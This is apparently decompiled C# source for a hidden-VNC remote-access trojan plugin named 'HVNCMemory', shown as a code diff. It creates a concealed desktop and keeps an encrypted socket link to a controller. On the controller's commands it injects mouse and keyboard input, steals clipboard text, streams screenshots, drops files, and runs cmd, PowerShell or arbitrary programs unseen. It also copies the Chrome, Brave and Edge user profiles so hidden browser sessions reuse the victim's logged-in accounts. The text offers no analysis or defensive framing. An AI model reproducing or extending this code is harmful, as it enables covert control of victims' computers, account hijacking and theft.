|
||||
System.Threading.Thread.Sleep(30 * 1000);
|
||||
try
|
||||
{
|
||||
if (S.Connected)
|
||||
{
|
||||
using (var MS = new MemoryStream())
|
||||
{
|
||||
var B = Helper.AES_Encryptor(Helper.SB("PING?"));
|
||||
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
|
||||
|
||||
MS.Write(L, 0, L.Length);
|
||||
MS.Write(B, 0, B.Length);
|
||||
|
||||
S.Poll(-1, SelectMode.SelectWrite);
|
||||
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
|
||||
GC.Collect();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public partial class Messages
|
||||
{
|
||||
public static void Read(byte[] b)
|
||||
{
|
||||
try
|
||||
{
|
||||
var A = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversions.ToString(Settings.SPL));
|
||||
switch (A[0] ?? "")
|
||||
{
|
||||
case "CloseHVNC":
|
||||
{
|
||||
ClientSocket.isDisconnected();
|
||||
break;
|
||||
}
|
||||
|
||||
case "MouseRightUp":
|
||||
{
|
||||
Debug.WriteLine("MouseRightUp :" + A[1] + ";" + A[2]);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
int x = Conversions.ToInteger(A[1]); //x
|
||||
int y = Conversions.ToInteger(A[2]); //Y
|
||||
HandelMouse.MouseRghitUp(x, y);
|
||||
break;
|
||||
}
|
||||
|
||||
case "MouseLeftUp":
|
||||
{
|
||||
Debug.WriteLine("MouseLeftUp :" + A[1] + ";" + A[2]);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
int x2 = Conversions.ToInteger(A[1]); //x
|
||||
int y2 = Conversions.ToInteger(A[2]); //Y
|
||||
HandelMouse.MouseLeftUp(x2, y2);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "PowerShell":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
PowerShell.Open();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "KeyboardDown":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandelMouse.KeyboardDown(A[1]);
|
||||
break;
|
||||
}
|
||||
|
||||
case "Paste":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandleClipboard.Paste(A[1]);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "CopyClib":
|
||||
{
|
||||
ClientSocket.Send("ClibHVNC" + Settings.SPL + Helper.GetText());
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "MouseDoubleClick":
|
||||
{
|
||||
Debug.WriteLine("MouseDoubleClick :" + A[1] + ";" + A[2]);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
int x3 = Conversions.ToInteger(A[1]); //x
|
||||
int y3 = Conversions.ToInteger(A[2]); //Y
|
||||
HandelMouse.MouseDuoblClieck(x3, y3);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "BraveBrowser":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Brave.OpenBraveBrowser();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "CustomOpen":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
//Filename //Args
|
||||
CustomOpen.Open(A[1], A[2]);
|
||||
break;
|
||||
}
|
||||
|
||||
case "EdgeBrowser":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Edge.OpenEdgeBrowser();
|
||||
break;
|
||||
}
|
||||
|
||||
case "ChromeBrowser":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Chrome.OpenChromeBrowser();
|
||||
break;
|
||||
}
|
||||
|
||||
case "CommandPrompt":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
CommandPrompt.Open();
|
||||
break;
|
||||
}
|
||||
|
||||
case "MouseLeftDown":
|
||||
{
|
||||
Debug.WriteLine("MouseLeftDown :" + A[1] + ";" + A[2]);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
int x4 = Conversions.ToInteger(A[1]);//x
|
||||
int y4 = Conversions.ToInteger(A[2]);//y
|
||||
HandelMouse.MouseLeftDown(x4, y4);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "FireFoxBrowser":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
FireFox.OpenFireFoxBrowser();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "MouseRightDown":
|
||||
{
|
||||
Debug.WriteLine("MouseRightDown :" + A[1] + ";" + A[2]);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
int x5 = Conversions.ToInteger(A[1]);//x
|
||||
int y5 = Conversions.ToInteger(A[2]);//y
|
||||
HandelMouse.MouseRightDown(x5, y5);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "MouseMove":
|
||||
{
|
||||
Debug.WriteLine("MouseMove :" + A[1] + ";" + A[2]);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
int x6 = Conversions.ToInteger(A[1]);//x
|
||||
int y6 = Conversions.ToInteger(A[2]);//y
|
||||
HandelMouse.MouseMove(x6, y6);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "CloseWindow":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandelMouse.CloseWindow();
|
||||
break;
|
||||
}
|
||||
|
||||
case "MinTop":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandelMouse.MinTop();
|
||||
break;
|
||||
}
|
||||
|
||||
case "RestoreMaxTop":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandelMouse.RestoreMaxTop();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "Cap":
|
||||
{
|
||||
|
||||
if (!(Helper.IsRunning)) ;
|
||||
}
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Helper.IsRunning = true;
|
||||
{
|
||||
|
||||
RemoteDesktop.Capture(Conversions.ToInteger(A[1]), Conversions.ToDouble(A[2]));
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "DeskDrop":
|
||||
{
|
||||
String Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
||||
System.IO.File.WriteAllBytes(Desktop + "\\" + A[1], Helper.Decompress(Convert.FromBase64String(A[2])));
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "ScrollDown":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandelMouse.ScrollDown();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "ScrollUp":
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
HandelMouse.ScrollUp();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
internal static partial class Helper
|
||||
{
|
||||
|
||||
|
||||
public static string GetText()
|
||||
{
|
||||
string ReturnValue = string.Empty;
|
||||
Thread STAThread = new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
ReturnValue = System.Windows.Forms.Clipboard.GetText();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
});
|
||||
STAThread.SetApartmentState(ApartmentState.STA);
|
||||
STAThread.Start();
|
||||
STAThread.Join();
|
||||
return ReturnValue;
|
||||
}
|
||||
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public static object Isgreaterorequalto81()
|
||||
{
|
||||
object result = default(object);
|
||||
try
|
||||
{
|
||||
OperatingSystem oSVersion = Environment.OSVersion;
|
||||
Version version = oSVersion.Version;
|
||||
if (oSVersion.Platform == PlatformID.Win32NT)
|
||||
{
|
||||
int major = version.Major;
|
||||
if (major == 6 && version.Minor != 0 && version.Minor != 1)
|
||||
{
|
||||
result = true;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
result = false;
|
||||
return result;
|
||||
}
|
||||
catch (Exception projectError)
|
||||
{
|
||||
ProjectData.SetProjectError(projectError);
|
||||
ProjectData.ClearProjectError();
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] SB(string s)
|
||||
{
|
||||
return Encoding.UTF8.GetBytes(s);
|
||||
}
|
||||
|
||||
public static string BS(byte[] b)
|
||||
{
|
||||
return Encoding.UTF8.GetString(b);
|
||||
}
|
||||
|
||||
public static void SendMSG(string msg)
|
||||
{
|
||||
ClientSocket.Send("HvncMSG" + Settings.SPL + Settings.IDD + Settings.SPL + msg);
|
||||
}
|
||||
|
||||
public static byte[] AES_Encryptor(byte[] input)
|
||||
{
|
||||
var AES_ = new RijndaelManaged();
|
||||
var Hash = new MD5CryptoServiceProvider();
|
||||
try
|
||||
{
|
||||
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
|
||||
AES_.Mode = CipherMode.ECB;
|
||||
var DESEncrypter = AES_.CreateEncryptor();
|
||||
var Buffer = input;
|
||||
return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
|
||||
public static byte[] AES_Decryptor(byte[] input)
|
||||
{
|
||||
var AES_ = new RijndaelManaged();
|
||||
var Hash = new MD5CryptoServiceProvider();
|
||||
try
|
||||
{
|
||||
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
|
||||
AES_.Mode = CipherMode.ECB;
|
||||
var DESDecrypter = AES_.CreateDecryptor();
|
||||
var Buffer = input;
|
||||
return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
|
||||
|
||||
public static void StartExplorer(string strDesktopName)
|
||||
{
|
||||
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced", true);
|
||||
int num = Conversions.ToInteger(registryKey.GetValue("TaskbarGlomLevel", true));
|
||||
int num2 = 2;
|
||||
bool flag = num != num2;
|
||||
bool flag2 = flag;
|
||||
if (flag2)
|
||||
{
|
||||
registryKey.SetValue("TaskbarGlomLevel", num2);
|
||||
}
|
||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe";
|
||||
HideDesktop.CreateProcess(path, strDesktopName, true);
|
||||
|
||||
|
||||
|
||||
registryKey.SetValue("TaskbarGlomLevel", num);
|
||||
registryKey.Close();
|
||||
|
||||
try
|
||||
{
|
||||
Process process = Process.GetProcessesByName("explorer").FirstOrDefault((Process x) => !PIDs.Any((int y) => y == x.Id));
|
||||
bool flag5 = process != null;
|
||||
if (flag5)
|
||||
{
|
||||
PID = process.Id;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
SendMSG("Error: Explorer");
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x060000C1 RID: 193
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetSystemMetrics(int smIndex);
|
||||
|
||||
// Token: 0x060000C2 RID: 194 RVA: 0x0000552C File Offset: 0x0000372C
|
||||
public static void OpenWindowsDesktop()
|
||||
{
|
||||
try
|
||||
{
|
||||
HandelMouse.TTTT = Helper.GetSystemMetrics(4);
|
||||
bool flag = HandelMouse.TTTT < 5;
|
||||
if (flag)
|
||||
{
|
||||
HandelMouse.TTTT = 20;
|
||||
}
|
||||
string nameDesktop = Helper.NameDesktop;
|
||||
Helper.HVNCDesktop = HideDesktop.OpenDesktop(nameDesktop);
|
||||
bool flag2 = Helper.HVNCDesktop == null;
|
||||
bool flag3 = flag2;
|
||||
if (flag3)
|
||||
{
|
||||
Helper.HVNCDesktop = HideDesktop.CreateDesktop(nameDesktop);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
bool flag4 = !new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
|
||||
if (flag4)
|
||||
{
|
||||
Helper.StartExplorer(nameDesktop);
|
||||
}
|
||||
else
|
||||
{
|
||||
HideDesktop.CreateProcess("powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}", "RemoteDesktopS", false);
|
||||
}
|
||||
}
|
||||
SendMSG("Ready..");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
SendMSG("Error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
public static bool IsRunning { get; set; }
|
||||
|
||||
public static bool HigherThan81 = false;
|
||||
|
||||
// Token: 0x0400004E RID: 78
|
||||
public static int PID = 0;
|
||||
|
||||
// Token: 0x0400004F RID: 79
|
||||
private static readonly List<int> PIDs = new List<int>();
|
||||
|
||||
// Token: 0x04000050 RID: 80
|
||||
public static string NameDesktop = "RemoteDesktopS";
|
||||
|
||||
// Token: 0x04000051 RID: 81
|
||||
public static HideDesktop HVNCDesktop = null;
|
||||
|
||||
// Token: 0x04000052 RID: 82
|
||||
public static int ScreenX;
|
||||
|
||||
// Token: 0x04000053 RID: 83
|
||||
public static int ScreenY;
|
||||
|
||||
// Token: 0x04000054 RID: 84
|
||||
public static IntPtr CheckIntptr;
|
||||
|
||||
// Token: 0x04000056 RID: 86
|
||||
public static bool StateCapture = false;
|
||||
|
||||
// Token: 0x04000058 RID: 88
|
||||
public static object A = new object();
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("HVNCMemory")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("HVNCMemory")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("2f6489f2-66df-488f-ad43-841ed404b598")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,58 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using VNC;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
public class RemoteDesktop
|
||||
{
|
||||
|
||||
|
||||
public static ImageCodecInfo GetEncoderInfo(string M)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int arg_0B_0 = 0;
|
||||
int num = imageEncoders.Length;
|
||||
for (int i = arg_0B_0; i <= num; i++)
|
||||
{
|
||||
if (Operators.CompareString(imageEncoders[i].MimeType, M, false) == 0)
|
||||
return imageEncoders[i];
|
||||
}
|
||||
return null/* TODO Change to default(_) if this is not a reference type */;
|
||||
}
|
||||
|
||||
public static void Capture(int Q,Double Size)
|
||||
{
|
||||
Bitmap bitmap = null;
|
||||
|
||||
bitmap = HelperScreen.GetScreen(Helper.ScreenX, Helper.ScreenY);
|
||||
|
||||
Bitmap bitmap2 = new Bitmap(bitmap, (int)Math.Round((double)Helper.ScreenX * Size), (int)Math.Round((double)Helper.ScreenY * Size));
|
||||
|
||||
|
||||
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, System.Convert.ToInt64(Q));
|
||||
ImageCodecInfo encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
EncoderParameters encoderParameters = new EncoderParameters(1);
|
||||
encoderParameters.Param[0] = encoderParameter;
|
||||
|
||||
try
|
||||
{
|
||||
lock (ClientSocket.S)
|
||||
{
|
||||
using (MemoryStream MS = new MemoryStream())
|
||||
{
|
||||
bitmap2.Save(MS, encoderInfo, encoderParameters);
|
||||
ClientSocket.Send("HVNC" + Settings.SPL + Settings.IDD + Settings.SPL + Convert.ToBase64String(Helper.Compress(MS.ToArray())));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
|
||||
GC.Collect();
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using DLL.S.OpenApp;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x02000019 RID: 25
|
||||
internal class Brave
|
||||
{
|
||||
// Token: 0x06000111 RID: 273 RVA: 0x000071FC File Offset: 0x000053FC
|
||||
public static void OpenBraveBrowser()
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(Brave.FilenameBrave) && !File.Exists(Brave.FilenameBravex86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.SendMSG("Brave: Not Installed!");
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag2 = !Directory.Exists(Brave.fileNameUserDataCopy);
|
||||
if (flag2)
|
||||
{
|
||||
Helper.SendMSG ("Brave: CloneProfile..");
|
||||
Brave.PC.FileSystem.CopyDirectory(Brave.fileNameUserData, Brave.fileNameUserDataCopy);
|
||||
Helper.SendMSG("Brave: CloneProfile Completed");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Error!");
|
||||
}
|
||||
Debug.WriteLine("Complete.///");
|
||||
new Thread(delegate()
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Brave.Open();
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Brave: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x06000112 RID: 274 RVA: 0x00007300 File Offset: 0x00005500
|
||||
public static void Open()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(Brave .FilenameBrave))
|
||||
{
|
||||
Path = Brave.FilenameBrave;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(Brave.FilenameBravex86))
|
||||
{
|
||||
Path = Brave.FilenameBravex86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
HideDesktop.CreateProcess(string.Concat(new string[]
|
||||
{
|
||||
"\"",
|
||||
Path,
|
||||
"\" --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=",
|
||||
Brave.fileNameUserDataCopy,
|
||||
"\""
|
||||
}), Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG("Brave: Running");
|
||||
Thread.Sleep(3000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Brave: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0400007D RID: 125
|
||||
private static readonly Computer PC = new Computer();
|
||||
|
||||
// Token: 0x0400007E RID: 126
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\BraveSoftware\\Brave-Browser\\User Data";
|
||||
|
||||
// Token: 0x0400007F RID: 127
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\BraveSoftware\\Brave-Browser\\Brave Data";
|
||||
|
||||
// Token: 0x04000080 RID: 128
|
||||
private static readonly string FilenameBrave = WDir.SystemDirectory + "Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe";
|
||||
|
||||
private static readonly string FilenameBravex86 = WDir.SystemDirectory + "Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using DLL.S.OpenApp;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x0200001A RID: 26
|
||||
internal class Chrome
|
||||
{
|
||||
// Token: 0x06000115 RID: 277 RVA: 0x0000741C File Offset: 0x0000561C
|
||||
public static void OpenChromeBrowser()
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(Chrome.FilenameChrome) && !File.Exists(Chrome.FilenameChromeX86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.SendMSG ("Chrome: Not Installed!");
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag2 = !Directory.Exists(Chrome.fileNameUserDataCopy);
|
||||
if (flag2)
|
||||
{
|
||||
Helper.SendMSG("Chrome: CloneProfile..");
|
||||
Chrome.PC.FileSystem.CopyDirectory(Chrome.fileNameUserData, Chrome.fileNameUserDataCopy);
|
||||
Helper.SendMSG("Chrome: CloneProfile Completed");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Error!");
|
||||
}
|
||||
Debug.WriteLine("Complete.///");
|
||||
new Thread(delegate()
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Chrome.Open();
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Chrome: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x06000116 RID: 278 RVA: 0x00007520 File Offset: 0x00005720
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(Chrome.FilenameChrome))
|
||||
{
|
||||
Path = Chrome.FilenameChrome;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(Chrome.FilenameChromeX86))
|
||||
{
|
||||
Path = Chrome.FilenameChromeX86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
HideDesktop.CreateProcess(string.Concat(new string[]
|
||||
{
|
||||
"\"",
|
||||
Path,
|
||||
"\" --mute-audio --disable-audio --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=",
|
||||
Chrome.fileNameUserDataCopy,
|
||||
"\""
|
||||
}), Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG("Chrome: Running");
|
||||
Thread.Sleep(3000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Chrome: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x04000081 RID: 129
|
||||
private static readonly Computer PC = new Computer();
|
||||
|
||||
// Token: 0x04000082 RID: 130
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data";
|
||||
|
||||
// Token: 0x04000083 RID: 131
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Chrome Data";
|
||||
|
||||
// Token: 0x04000084 RID: 132
|
||||
private static readonly string FilenameChrome = WDir.SystemDirectory + "Program Files\\Google\\Chrome\\Application\\chrome.exe";
|
||||
private static readonly string FilenameChromeX86 = WDir.SystemDirectory + "Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe";
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x0200001B RID: 27
|
||||
internal class CommandPrompt
|
||||
{
|
||||
// Token: 0x06000119 RID: 281 RVA: 0x0000763C File Offset: 0x0000583C
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(CommandPrompt.fileNameCmd);
|
||||
if (flag)
|
||||
{
|
||||
Helper.SendMSG("Cmd: Not Found!");
|
||||
}
|
||||
else
|
||||
{
|
||||
HideDesktop.CreateProcess(CommandPrompt.fileNameCmd, Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG("Cmd: Running");
|
||||
Thread.Sleep(2000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Cmd: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x04000085 RID: 133
|
||||
private static readonly string fileNameCmd = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\cmd.exe";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x0200001C RID: 28
|
||||
internal class CustomOpen
|
||||
{
|
||||
// Token: 0x0600011C RID: 284 RVA: 0x00007704 File Offset: 0x00005904
|
||||
public static void Open(string Filename, string Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(Filename);
|
||||
if (flag)
|
||||
{
|
||||
Helper.SendMSG("CustomOpen: Not Found! ''" + Filename + "''");
|
||||
}
|
||||
else
|
||||
{
|
||||
HideDesktop.CreateProcess(Filename + " " + Args, Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG(Filename + " : Running");
|
||||
Thread.Sleep(3000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("CustomOpen: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using DLL.S.OpenApp;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x0200001D RID: 29
|
||||
internal class Edge
|
||||
{
|
||||
// Token: 0x0600011E RID: 286 RVA: 0x000077C8 File Offset: 0x000059C8
|
||||
public static void OpenEdgeBrowser()
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
try
|
||||
{
|
||||
|
||||
bool flag = !File.Exists(Edge.FilenameEdge) && !File.Exists(Edge.FilenameEdgeX86);
|
||||
if (flag)
|
||||
{
|
||||
